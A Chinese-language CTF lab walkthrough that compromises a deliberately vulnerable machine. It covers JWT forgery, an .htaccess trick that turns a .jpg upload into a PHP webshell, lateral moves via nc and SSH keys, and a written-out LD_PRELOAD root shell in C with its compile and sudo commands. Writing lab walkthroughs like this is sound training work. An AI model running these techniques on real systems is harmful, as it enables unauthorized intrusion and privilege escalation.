端口扫描#
仅开放了 22,80 端口
WEB#
网站首页是一个纯静态页面,查看注释可发现隐藏目录
base64 解码得路径/74221
登录框有一个弱口令test:123456
, 登录进去
提示没有文件上传的权限,结合 cookie 字段联想到伪造 jwt 越权
这里留了两个口子:可以用空密钥,也可以爆破出密钥为jwtsecret123
伪造成功后,查看 dashboard 界面会发现我们的身份是 admin
接着来到上传文件处,仅允许上传 jpg 或 png 后缀的文件
测试后会发现能上传.htaccess 文件,故上传之,内容如下
AddType application/x-httpd-php .jpg
此时再上传一个 jpg 图片马即可拿到 webshell
后渗透#
www-data to pentester#
找到两个密文,它们分别藏在
/etc/passwd
/srv/...
密文如下:
Itwasthebestoftimes!itwastheworstoftimes@itwastheageofwisdom#itwastheageoffoolishness$itwastheepochofbelief,itwastheepochofincredulity,&itwastheseasonofLight...
Iuwbtthfbetuoftimfs"iuwbsuhfxpsttoguinet@jtwbttieahfogwiseon#iuxatthfageofgpoljthoess%itwbsuiffqocipfbemieg-iuxbsuhffqpdhogjocredvljtz,'iuwasuhesfasooofLjgiu...
仔细观察后发现,两段文字有区别的地方就是 1,没区别的就是 0,可以得到一串二进制数,转为 bytes 可以得到密码
参考解法:
cat a.txt|sed 's/./&\n/g' >aa.txt
cat b.txt|sed 's/./&\n/g' >bb.txt
paste aa.txt bb.txt|awk '{if($1==$2){print 0}else{print 1}}'|xargs|tr -d ' '|fold -w8 | while read bin; do printf "%02X" "$((2#$bin))"; done | xxd -r -p
获得 pentester 用户的密码 Y0U_5M4SH3D_17_8UDDY
pentester to xiix#
注意 sudo find 是个兔子洞,过滤了可能导致提权的选项(当然如果你真的通过该后门提权到 root 算你厉害)
查看端口发现 8989 开放
其实它对应着一个每分钟触发的 python 脚本
nc 127.0.0.1 8989 输入上面拿到的密码,即可拿到 xiix 用户的 shell,由于不是交互式 shell,故可以写入公钥文件持久化
xiix to root#
guess_name 脚本猜数,成功概率为 1%,可以编写多线程脚本爆破。此处藏了两个后门:env 查看环境变量,输入 1337 即可通关;
此外脚本运行时会将密码写入隐藏文件 /tmp/.hidden_clue
运行pspy -f
便可检测到:
Anyway,拿到 xiix 用户密码superxiix
然后 sudo -l,发现有 env_keep+=LD_PRELOAD
这是一个经典的提权点
首先编译 shell.so:
#include <stdio.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash");
}
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
然后执行:sudo LD_PRELOAD=/home/xiix/shell.so whoami
,即可获得 root shell。